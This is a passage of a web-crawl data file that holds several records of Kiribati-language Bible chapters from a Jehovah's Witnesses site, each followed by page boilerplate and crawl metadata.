tautoronia, ao a na toro iroumi.+ 12 Ma ngkana a rawa n raoi ma ngkami, ma a buakaningkami, kam riai n otabwaninia aia kaawa, 13 ao e na bon anga nako nanoni baimi Iehova ae Atuami, ao kam na oreiia mwaane nako ake iai n te kabaang. 14 Ma kam kona n anaiia bwa konami aine, ataei, nanai ni man, ao bwaai nako ake n te kaawa, ake bwaai ni kuri ni kabane ake iai,+ ao kam na kang bwaai ni kuri ake aia bwai te koraki aika kairiribai nakoimi, ae e anganingkami Iehova ae Atuami.+ 15 \"Anne te bwai ae kam na karaoia nakoni kaawa ni kabane aika rangi n raroanako ma ngkami, aika tiaki aia kaawa natannaomata aika uakaan aikai. 16 Ma kam na tai kariaia bwa e na reke maiun te aomata temanna* n aia kaawa natannaomata aikai, ae e a anganingkami Iehova ae Atuami bwa tibwangami.+ 17 Ma kam bon riai ni kamaunaia aomata aikai ni kabane, aika tibun Eta, taian Amoraite, tibuni Kanaan, taiani Beritaite, taian Iwaite ao I-Iebuti,+ n aron are e tua Iehova ae Atuami nakoimi, 18 bwa a aonga n aki reireiningkami bwa kam na kakairi n aia mwakuri ni kabane aika riribaaki, ake a karaoi ibukia atuaia, ma ni kairingkami bwa kam na bure nakon Iehova ae Atuami.+ 19 \"Ngkana kam otabwaninia te kaawa ao n taua imwini buakanakina i nanoni boong aika bati, kam aki riai ni kamatei aroka nako ake iai, n erei n te tanai. Kam kona n amwarake mai iai, ma kam aki riai ni korei ni kabwakai.+ Bwa te koaua bwa kam riai n nini arokan te tawaana n aron ae kam na karaoia nakon te aomata? 20 Kam tii kona ni kamatea te aroka ae kam ataia bwa e aki bongana ibukin te amwarake. Kam kona ni koreia ni kabwakaa ao ni katea iai te oo n otabwaninia te kaawa ane e na buaka ma ngkami anne, ni karokoa ae e bwaka.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-tua-kaua\/20\/","date":"2018-04-19T19:40:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937016.16\/warc\/CC-MAIN-20180419184909-20180419204909-00418.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":720,"character_repetition_ratio":0.061,"word_repetition_ratio":0.044,"special_characters_ratio":0.238,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"13 E otinako ngkanne Aberam mai Aikubita nakon te Nekebo,*+ ngaia ma buuna ao ana bwai ni kabane ake irouna, n ikotaki ma Rota. 2 E rangi ni kaubwai Aberam n te nanai ni man, n te tirewa, ao n te koora.+ 3 E mamaeka n te umwanrianna man te tabo teuana nakon teuana ni mwamwanangana man te Nekebo nako Betaera, ni karokoa rokona n te tabo are e mena ngkoa iai ana umwanrianna i marenani Betaera ma Ai,+ 4 are te tabo are e katea ngkoa iai te baonikarea. Ao e taboa aran Iehova ikanne Aberam. 5 Ao iai naba ana tiibu ma ana kao ao ana umwanrianna Rota, are raon Aberam ni mwananga. 6 Mangaia are e a aki tau te aba ibukia ni kabane bwa a na maeka n te tabo ae tii teuana, bwa e a rangi ni bati aia bwai n te aro are a aikoa kona ni kaai ni maeka iai. 7 Ibukin anne, e a riki te kauntaeka i marenaia taani kawakinia ana nanai ni man Aberam ma taani kawakinia ana nanai ni man Rota. (N te tai anne ao a maeka tibuni Kanaan ao taiani Beritaite n te aba anne.)+ 8 Mangaia are e taku Aberam nakon Rota:+ \"I butiiko bwa e aki riai n riki te kauntaeka i marenau ma ngkoe, ao i marenaia taani kawakinia au nanai ni man ma taani kawakinia am nanai ni man, bwa bon taari ngaira. 9 Tiaki e mena i matam te aba ni kabutaa? I butiiko bwa ko na maenako ma ngai. Ngkana ko nakon te angamaing, ao ngai N na nakon te angaatai, ma ngkana ko nakon te angaatai, ao ngai N na nakon te angamaing.\" 10 Mangaia are e euta matana Rota ao e nora aonon Ioretan+ ni kabutaa ni karokoa Toa+ bwa e aomwaimwai aona (imwaini kamaunaan Totom ma Komora iroun Iehova), n ai aron ana onnaroka Iehova,+ ao n ai aron te aba ae Aikubita. 11 Ao e rinea aonon Ioretan ni kabutaa Rota i bon ibukina, ao e kamwaingi ana umwanrianna nako mainiku. Mangaia are a a maenako. 12 E maeka Aberam n te aba ae Kanaan, ma e maeka Rota i rarikini kaawa ake n te aono anne.+ N tokina ao e a katea ana umwanrianna i rarikin Totom. 13 Ao a buakaka mwaanen Totom ao a bure kakaiaki nakon Iehova.+ 14 E taku Iehova nakon Aberam imwini maenakona ma Rota: \"I butiiko bwa ko na euta matam man te tabo ane ko mena iai, ao taraa meang ao maiaki, mainiku ao maeao, 15 ibukina bwa N na anga nakoim ao nakoia kanoam,* te aba ni kabanea ane ko noria, bwa abaia ae a na teimatoa ni maekanna.+ 16 Ao N na kamwaitiia kanoam* n ai aron tanon te aonnaba, mangaia are ngkana iai ae e kona ni wareka mwaitin tanon te aonnaba, ao e kona naba ni warekaki mwaitiia kanoam.*+ 17 Teirake ao mwamwananga rinanon te aba n nora abwakina ma raababana bwa N nang anganiko.\" 18 Mangaia are e teimatoa ni maeka Aberam n taian umwanrianna. Imwina riki ao e a nako ni maeka i buakoni kaai aika bubura ake aroka ake i Mamre+ i Eberon,+ ao ikanne are e a katea iai te baonikarea nakon Iehova.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/karikani-bwaai\/13\/","date":"2018-04-23T06:37:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945793.18\/warc\/CC-MAIN-20180423050940-20180423070940-00238.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":569,"character_repetition_ratio":0.066,"word_repetition_ratio":0.007,"special_characters_ratio":0.24,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11 Ngke e ongo naba ngkekei taekan aei Iabin are uean Atiora, ao e a kanakotaeka nakon Iobaba are ueani Maton,+ ao nakon uean Timron, uean Akitaba,+ 2 ueea ake a mena n te aono ae maungaunga mai meang, te koraki ake n te tabo ae aoraoi* i maiakini Kinnereta, te koraki ake n te Tiebira,* te koraki ake n rabeen nako Toora+ nako maeao, 3 tibuni Kanaan+ ake i mainiku ao i maeao, taian Amoraite,+ tibun Eta, taiani Beritaite, I-Iebuti ake n te aono ae maungaunga, ao taian Iwaite+ ake i nanoaan Oman+ n te aba ae Mitiba. 4 Mangaia are a a otinako te koraki aei ma aia taanga ni buaka ni kabane, ae te koraki ae rangi ni mwaitikurikuri n aron tanon aon te bike, n ikotaki ma aoti aika rangi ni mwaiti, ao kaa ni buaka. 5 A bane ni boonnano ueea aikai bwa a na kaitiboo, ao a a mwananga ao a bane ni kaembwa i rarikin te koburake n ran i Merom, bwa a na buakania tibun Iteraera. 6 Ao e taku Iehova nakon Iotua: \"Tai maakuia,+ bwa tao n taina aei ningabong ao N na anga ngaiia ni kabane nakoia tibun Iteraera, ao a na kamateaki. Kam na kamwaukui aia aoti,+ ao kam na kabueki aia kaa ni buaka n te ai.\" 7 Ao Iotua ma mwaane ake taani buaka ni kabane a rina ni buakania i rarikin te koburake n ran are i Merom. 8 E anga ngaiia Iehova nako nanoni baia tibun Iteraera,+ ao a kataenikaiia ma ni kaeiia ni karokoa Titon ae Kakannato,+ ao Mitirebotamaim,+ ao te Mwarua ae Mitibe nako mainiku, ao a tiringia ni karokoa ae ai bon akea temanna ae reke maiuna.+ 9 Ao Iotua e karaoa nakoia te aro are e tuangnga Iehova. E kamwaukui aia aoti ao e kabueki aia kaa ni buaka n te ai.+ 10 Irarikin anne ao e a oki Iotua ao e taua Atiora ao e kamatea ueana n te kabaang,+ ibukina bwa Atiora boni kautun tautaeka n uea aikai ni kabane mai mwaina. 11 A oreiia aomata* nako ake iai n te kabaang, ni kamaunaia.+ Akea naba temanna ae maiu ae tiku.+ Ao imwina e kabueka Atiora n te ai. 12 E taui aia kaawa ni kabane ueea aikai Iotua, ao e kataenikaiia ueea ni kabane ake iai n te kabaang.+ E kamaunaia+ n aron are e a tia n tuangaki Mote are ana toro Iehova. 13 Ma a aki kabueki kaawa aika tei i aon taian tabuki tibun Iteraera, ma tii Atiora. Bon tii ngaia ae e kabuekia Iotua. 14 A kuribwai bwaai ni kuri ni kabane ma te nanai ni man aika mena ni kaawa aikai tibun Iteraera, i bon ibukia.+ Ma a oreiia aomata nako n te kabaang ni karokoa ae a kamaunaia n tatabemania nako.+ A aki kariaia bwa e na tiku temanna ae maiu.+ 15 N aron are e tua Iehova nakoni Mote are ana toro, ao n aron are e tua Mote nakon Iotua,+ ao e boni karaoia Iotua. Akea te bwai teuana ae e katikua n aki karaoia mai buakoni bwaai ni kabane ake e tua Iehova nakoni Mote.+ 16 E taui aaba aikai ni kabane Iotua, te aono ae maungaunga, te Nekebo* ni kabutaa,+ te aba ae Koten ni kabutaa, te Tiebira,+ te Arabaa,*+ te aba ae rinano n te aono ae maungaunga i Iteraera, 17 ake aaba ni kabane ake man te Maunga ae Araka are waerake nako Teira, ao ni karokoa Baarakata+ n te Mwarua i Rebanon i nanoaan te Maunga ae Oman.+ E tauia ueea ake iai ni kabane ao e kataenikaiia ni kamateia. 18 E buaka Iotua ma ueea aikai ni kabane n te tai ae maan teutana. 19 Akea te kaawa ae karekea te raoi ma tibun Iteraera, ma tii taian Iwaite ake a mena i Kibeon.+ A kataenikaiia ni kabane ake tabemwaang n te buaka.+ 20 Bon Iehova ae kariaia nanoia naakai bwa a na imanono,+ bwa a aonga ni buakania tibun Iteraera, ao e aonga ni kamaunaia n akea nanoangaaia.+ A na boni kamaunaaki n aron are e tua Iehova nakoni Mote.+ 21 N te tai anne ao Iotua e kamaunaia taian Anakim+ man te aono ae maungaunga, mai Eberon, Tebira, Anaba, ao n aonon Iuta ae maungaunga ni kabutaa, ao te aono ae maungaunga ni kabutaa i Iteraera. E kamaunaia Iotua ma aia kaawa nako.+ 22 Bon akea nikiraia taian Anakim n tiku i abaia tibun Iteraera, a tii tiku+ i Kaata,+ i Kate,+ ao i Atoto.+ 23 Mangaia are e taua taekan te aba ni kabutaa Iotua n aron are e beritanna Iehova nakoni Mote,+ ao imwina e a anga Iotua bwa tibwangaia tibun Iteraera ni kaineti ma tibwaia ake a a tia n anganaki n aia baronga.+ Ao e a motirawa te aba arei man te buaka.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/iotua\/11\/","date":"2018-04-23T16:29:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946077.4\/warc\/CC-MAIN-20180423144933-20180423164933-00111.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":828,"character_repetition_ratio":0.08,"word_repetition_ratio":0.005,"special_characters_ratio":0.243,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5 Mangaia are e katiai mwakuri ni kabane Toromon ake e riai ni karaoi ibukin ana auti Iehova.+ Imwina ao e a uotii ni karini bwaai Toromon ake e a tia ni katabui Tawita are tamana,+ ao e karina te tirewa, te koora, ao bwaai ni kabane, ni nneni baika kakawaki ake n ana auti te Atua ae koaua.+ 2 N te tai anne ao Toromon e a ikotiia aia unimwaane tibun Iteraera, mataniwi ni kabane n taiani baronga, ao naake mataniwi i aoia aia koraki mairoun tamaia, ake tibun Iteraera. A roko i Ierutarem bwa a na uotaarake ana ati ni berita Iehova man Ana Kaawa Tawita,+ ae taekan Tion.+ 3 A bane n ikotaki mwaane aika tibun Iteraera i matan te uea, n tain te toa* ae karaoaki n te kaitiua n namwakaina.+ 4 Mangaia are a a bane n roko aia unimwaane tibun Iteraera, ao a tabeka te Ati tibun Rewi.+ 5 A uotaarake te Ati, te umwa ni botaki,+ ao bwaai ni kabane aika tabu ake a mena n te umwanrianna. A uotii baikai ni waerake ibonga* ma tibun Rewi.* 6 E mena i matan te Ati te Uea are Toromon ma te botaki n aomata aika tibun Iteraera ake a weteaki bwa a na kawaria. A rangi ni bati tiibu ma kaao aika kareanaki+ ao a aki kona ni warekaki ke n ataaki mwaitiia. 7 Ao a uota ana ati ni berita Iehova nakoni nnena ibonga, nakon te ruu are mai nanon riki te auti, ae te Ruu ae Moan te Tabu, nako aani baia ni kiba kerubim.*+ 8 Ao a taakinaki baia ni kiba kerubim i etani nnen te Ati, n te aro are a mena kerubim i etan te Ati ma kaina.+ 9 A rangi n abwabwaki kaai aikai n te aro are a a kona n noraki taboia man te Ruu ae Tabu are i moan te Ruu ae Moan te Tabu* ma a aki noraki mai tinaniku. Ao bon ake ikekei ni karokoa te bong aei. 10 Akea te bwai teuana n te Ati ma tii baaba aika uoua ake e kaaki iai Mote i Oreba,+ ngke e karaoa te berita+ Iehova ma tibun Iteraera ngke a otinako mai Aikubita.+ 11 Ngke a a otinako ibonga man te tabo ae tabu, (bwa a bane ibonga ake a mena ikekei ni katabuia* i bon irouia,+ n aki ongeia bwa te koraki n ibonga raa ngaiia),+ 12 ao a bane tibun Rewi ake taan anene+ ake raoia Ataba,+ Eman,+ Ieturun,+ ao natiia mwaane ma tariia, ni kunnikainia ni kunnikai aika raraoi, ma n taui timbara, ma bwaai ni katangitang aika iai karaiia, ao taian abi. A tei i mainikun te baonikarea, ao raoia bon ibonga aika 120 aika katang taiani buu.+ 13 N te tai are a a katiteuanaaki iai ni karaoiroa Iehova ma ni katituaraoia taani katang taiani buu ma taan anene, ao ngke e a waerake tangin taiani buu, timbara, ao bwaai ni katangitang riki ake tabeua ngke a a neboa Iehova, \"bwa e raoiroi, bwa e teimatoa n aki toki ana tangira ae koaua,\"*+ ao e a onrake naba te auti are ana auti Iehova n te nang.+ 14 A aikoa kona ibonga n teimatoa ni karaoa aia beku ibukin te nang, bwa e a onrake ana auti te Atua ae koaua ni mimitongin Iehova.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-rongorongo\/5\/","date":"2018-04-25T16:00:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947931.59\/warc\/CC-MAIN-20180425154752-20180425174752-00163.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":586,"character_repetition_ratio":0.057,"word_repetition_ratio":0.007,"special_characters_ratio":0.244,"stopwords_ratio":0.439,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4 Ngke e a ongo natin Tauro are Itiboteta*+ ae e a mate Abenera i Eberon,+ ao e a kerikaaki ninikoriana* ao a a bane n aki rau tibun Iteraera. 2 Ao iai mwaane aika uoman aika mataniwi i aoia taani kuribwai ake ana aomata natin Tauro, ao aran temanna Banaa ao are temanna Rekaba. Naakai bon natin Rimmon are te I-Beerota, man te baronga are Beniamin. (E araranaki naba Beerota+ bwa mwakoron abani Beniamin ngkoa. 3 A birinako I-Beerota nako Kitaim,+ ao a maeka n iruwa ikekei ni karokoa te bong aei.) 4 Ao Ionatan+ are natin Tauro iai natina te mwaane ae a mwauku waena.+ Bon nimaua ana ririki ngke e roko te rongorongo mai Ietireera+ ibukin Tauro ma Ionatan, ao e tabekia te tia tobwaia ao e birinako, ma ngke e takaka neiei ni birinako, ao e a bwaka naba te teei aei ao e a mwauku. Arana boni Mebiboteta.+ 5 Ao natin Rimmon are te I-Beerota ake Rekaba ma Banaa, a nakon ana auti Itiboteta n taini kabuebuen te ngaina anne, ngke e tabe teuaei ni motika rawana n te tawanou. 6 A rinnako n te auti bwa aongkoa a na anaa te uita, ao a a ewara naba birotona, ao imwina e a rabanako Rekaba ma tarina are Banaa.+ 7 Ngke a rin n te auti, ao e wene teuaei i aoni nnena ni wene n ana ruu ni matu, ao a a ewaria naba ni kamatea, ao imwina a kabakua roroana. Ao a anaa atuna ao a riannanako ni kangainaa i nanon te kawai nakon te Arabaa.* 8 Ao a uota atun Itiboteta+ nakon Tawita i Eberon ao a taku nakon te uea: \"Ao aei atun Itiboteta are natin Tauro are te tia kairiribai nakoim+ are e kani kamateko.+ E a tia Iehova ni karaoa te irantanga ni karekekai i aon Tauro ma kanoana nakon au toka ae te uea n te bong aei.\" 9 Ma Tawita e kaekaa Rekaba ma tarina are Banaa, ake natin Rimmon are te I-Beerota, ao e taku nakoia: \"Ngkai bon iai Iehova, are teuare kamaiuai man taiani karawawata ni kabane,+ 10 ao ngke e kaongoai ngkoa temanna ni kangai, 'Akea bwa e a mate Tauro,'+ ao n ana iango e uota te rongorongo ae kakukurei nakoiu, ma I taua ao ni kamatea+ i Tikeraka. Anne kaniwangan te tia uataeka arei ae e karekea mairou! 11 Ao ai batira riki ae e na reke irouia mwaane aika buakaka aika kamatea te aomata ae raoiroi n oin ana auti i aoni nnena ni wene! Tiaki I riai n anaa boon raraana mai baimi,+ ma ni kamaunaingkami mai aon te aba?\" 12 Ao e tua Tawita nakoia rorobuaka n ataei bwa a na kamateia naakai.+ A koreinako baia ma waeia ao a tauriia+ i rarikin te nei i Eberon. Ma a anaa atun Itiboteta ao a taunna ni nneni kawenean Abenera i Eberon.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/2-tamuera\/4\/","date":"2018-04-21T20:19:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945317.36\/warc\/CC-MAIN-20180421184116-20180421204116-00049.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":516,"character_repetition_ratio":0.055,"word_repetition_ratio":0.008,"special_characters_ratio":0.237,"stopwords_ratio":0.43,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19 E kangai te taeka n ekaanako Aikubita:+ Noria! E a toka Iehova i aon te nang ae butimwaaka ao e a mwananga nako Aikubita. A ruru i matana atuan Aikubita aika akea manenaia,+Ao e na bwara nanon Aikubita. 2 \"N na kauekei nanoia I-Aikubita bwa a na ekiianako I-AikubitaAo a na buaka i marenaia,Temanna ma temanna e na ekaanako tarina ao raona n aomata,Te kaawa teuana e na ekaanako te kaawa teuana, ao te tautaeka n uea teuana e na ekaanako te tautaeka n uea teuana. 3 Ao e na mino ana iango AikubitaAo N na kamangaoi ana babaire.+ A na nanako nakoia atua aika akea manenaia,Nakoia taani kabaea te nano ma taan rorokoia taimonio ao taani kaiwani kanoan taai aika a na roko.+ 4 N na anga Aikubita nakon te toka ae matoatoa,Ao e na tautaeka i aoia te uea ae iowawa,\"+ bon ana taeka te Uea ae koaua, ae Iehova ae Atuaia taanga ni buaka.* 5 E na bwatakataka ranin taari,Ao e na mwauteretere te karaanga ao e na akea ranna.+ 6 Ao a na mwaung karaanga,A na ikirikaaki ma ni mwauteretere kawain nako ranin te Naire are i Aikubita. A na mate taiani maunei ma uteute aika abwabwaki.+ 7 A na rai+ aroka ake i rarikin te Karaanga ae te Naire, ake i mataniwin te Naire,Ao te aba ni kabutaa are a unikaki iai koraa are i rarikin te Naire.+ E na ukakinako, ao e nang akea. 8 A na nanokawaki taan akawa,Ao a na bwaebwaeti taan tetewenakoi matau nako nanon te Naire,Ao a na nimamate te koraki ake a taakin aia karaun i aon te ran. 9 A na kamaamaeaki taani mwakuria te aroka ae te buraekiti* ni kakaaria,+Ao akana karaoi kunnikai aika mainaina i aon te bwai n rarangaa te kunnikai. 10 A na kamanatuaaki ana tia raranga neiei,Ao a na nanokawaki taani mwakuri ni kabane aika kabooaki aia mwakuri. 11 A nanobaba tokan Toan.+ A anga te taeka n reirei ae aki riai ana tia anga te taeka n reirei Barao aika taiani kabanea ni wanawana.+ Ko na kangaa ni kona ni kangai nakoni Barao: \"Boni kanoaia ngai aomata aika wanawana,Ae kanoaia ueea ake ngkoangkoa\"? 12 A nga ngkanne am rorobuaka aika wanawana?+ Ke a tuangko ngkana a ataa te bwai ae e baireia ibukin Aikubita Iehova ae Atuaia taanga ni buaka. 13 A karaoa te aro ae nanobaba tokan Toan,A mwamwanaaki tokan Nobi,*+Ao a katiotionakoa Aikubita mataniwin ana baronga nako neiei. 14 E a tia Iehova ni kabwaroa i aon neiei te iango ae kiriwe,+Ao a a tia ni katiotionakoa Aikubita ni baike e karaoi neiei,N ai aron te aomata ae koro ni manging ae rangaranga i buakoni mumutana. 15 Ao e nang akea te bwai ae e na kona ni karaoia Aikubita,Ae tao ibukin te atu ke te buki, te bwebwe ke te uteute ae abwabwaki.* 16 N te bong anne ao e na riki Aikubita bwa ai aroia aine, e na ruru ao ni maakunrang ibukini kakamaakuni bain Iehova ae Atuaia taanga ni buaka, are e kateia n ekianako.+ 17 E na riki te aba ae Iuta bwa te bwai ae e na karika te maaku ae bati nakon Aikubita. A na maakunrang ngkana e taekinaki, ibukin te moti are e a tia ni karaoia Iehova ae Atuaia taanga ni buaka n ekiianako iai.+ 18 N te bong anne ao e na iai kaawa aika nimaua n te aba ae Aikubita aika a na taetae n aia taetae kaaini Kanaan,*+ ao a na taetae n tuea bwa a na kakaonimaki ni koaua nakon Iehova ae Atuaia taanga ni buaka. E na aranaki te kaawa teuana bwa Te Kaawa ni Kabwakaaki. 19 N te bong anne ao e na iai te baonikarea ibukin Iehova i nukan te aba ae Aikubita, ao te boua ibukini karinean Iehova i aon tiana. 20 E na riki bwa te kanikina ao te bwai ni kakoaua nakon Iehova ae Atuaia taanga ni buaka n te aba ae Aikubita. Bwa ane a na tang nakon Iehova ibukia taani karawawataia, ao e na kanakoa nakoia te tia kamaiu, are teuare rangi ni kakannato, ae e na kamaiuia. 21 Ao e na ataaki Iehova irouia I-Aikubita, ao a na ataa Iehova n te bong anne I-Aikubita, ao a na anga taiani karea ma bwaai n tituaraoi, ao a na taetae ni bau nakon Iehova ao a na kakoroa bukina. 22 Ao Iehova e na orea Aikubita,+ e na oreia ma ni kamaiua, ao a na okira Iehova, ao e na kaekaa aia bubutii ao e na kamaiuia. 23 N te bong anne ao e na iai te kawai ae totouaki+ ae otinako mai Aikubita nako Aturia. Ao a na roko kaain Aturia i Aikubita, ao a na roko kaain Aikubita i Aturia, ao a na uaia ni beku iroun te Atua kaain Aikubita ma kaain Aturia. 24 N te bong anne ao e na riki Iteraera bwa te kateniman i rarikin Aikubita ma Aturia,+ ae te kakabwaia ibukin te aonnaba, 25 bwa e kakabwaiaia ni kangai Iehova ae Atuaia taanga ni buaka: \"Ke a kakabwaiaaki au aomata aika I-Aikubita, ao ana mwakuri baiu aika I-Aturia, ao tibwangau aika kaain Iteraera.\"+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/19\/","date":"2018-04-24T05:46:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946564.73\/warc\/CC-MAIN-20180424041828-20180424061828-00635.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":882,"character_repetition_ratio":0.076,"word_repetition_ratio":0.005,"special_characters_ratio":0.232,"stopwords_ratio":0.476,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6 \"Aikai ngkanne tuua, kaetieti, ao mooti aika e anga Iehova ae Atuami ibukin reireinakimi, bwa kam aonga ni kakairi iai ngkana kam a mwananga n rin n te aba are kam na abanna, 2 n te aro are kam na maaka Iehova ae Atuami ao ni kawakin nako ana moti ma ana tua aika I tua nakoimi—ngkoe ma natim ao tibum+—ni kabane ami bong ni maiu, bwa kam aonga ni maiu i nanon te tai ae maan.+ 3 Ao kam riai n ongora, ngkami aika tibun Iteraera, ao kakairi raoi iai, bwa kam aonga ni kabwaia ao kam na rangi ni mwaiti n te aba are raanga iai rannimamman te man ma aia karewe manibeeru,* n aron are e beritanna nakoimi Iehova ae Atuaia ami bakatibu. 4 \"Ongora ngkami aika tibun Iteraera: Iehova ae Atuara bon Iehova ae tii temanna.+ 5 Kam riai n tangira Iehova ae Atuami ma nanomi ni kabane, maiumi*+ ni kabane ao korakorami ni kabane.+ 6 A riai ni mena i nanomi taeka aikai aika I tua nakoimi n te bong aei, 7 ao kam riai ni karin i nanoia* natimi+ ao n taekini ngkana kam tekateka i nanon ami auti, ao ngkana kam nakonako i nanon te kawai, ao ngkana kam wene, ao ngkana kam teirake.+ 8 Kabaei bwa te kauring i aoni baimi, ao a riai n riki bwa kaanga te kanikina ae kabaeaki i aon ramwami.*+ 9 Korei i aoni bouan nako mataroan ami auti ao mataroan ami oo. 10 \"Ngkana e kairingkami Iehova ae Atuami ni kariningkami n te aba are e taetae n tuea ibukina nakoia ami bakatibu aika Aberaam, Itaaka, ao Iakoba, bwa e na anganingkami,+ aika kaawa aika korakora ma n raraoi aika kam aki katei,+ 11 ao auti aika on ni bwaai aika raraoi n aekaia nako aika kam aki mwakuri ni karekei, mwarua n ran aika ekeaki aika kam aki keni, ao nne ni kureebe ma aroka aika oriwa aika kam aki uniki—ao kam kang ma n rauaki iai,+ 12 ao kam riai n taratara 